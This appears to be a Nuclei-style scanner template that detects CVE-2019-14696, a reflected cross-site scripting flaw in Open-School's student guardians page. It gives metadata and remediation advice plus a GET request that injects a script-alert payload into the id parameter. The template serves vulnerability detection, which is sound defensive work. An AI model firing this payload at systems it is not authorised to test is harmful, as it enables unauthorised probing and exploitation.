id: CVE-2019-14696

info:
  name: Open-School 3.0/Community Edition 2.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Open-School 3.0, and Community Edition 2.3, allows cross-site scripting via the osv/index.php?r=students/guardians/create id parameter.
  remediation: |
    To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://open-school.org
    - https://pastebin.com/AgxqdbAQ
    - http://packetstormsecurity.com/files/153984/Open-School-3.0-Community-Edition-2.3-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14696
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-14696
    cwe-id: CWE-79
    epss-score: 0.00776
    epss-percentile: 0.79379
    cpe: cpe:2.3:a:open-school:open-school:2.3:*:*:*:community:*:*:*
  metadata:
    max-request: 1
    vendor: open-school
    product: open-school
  tags: xss,open-school,packetstorm,cve,cve2019

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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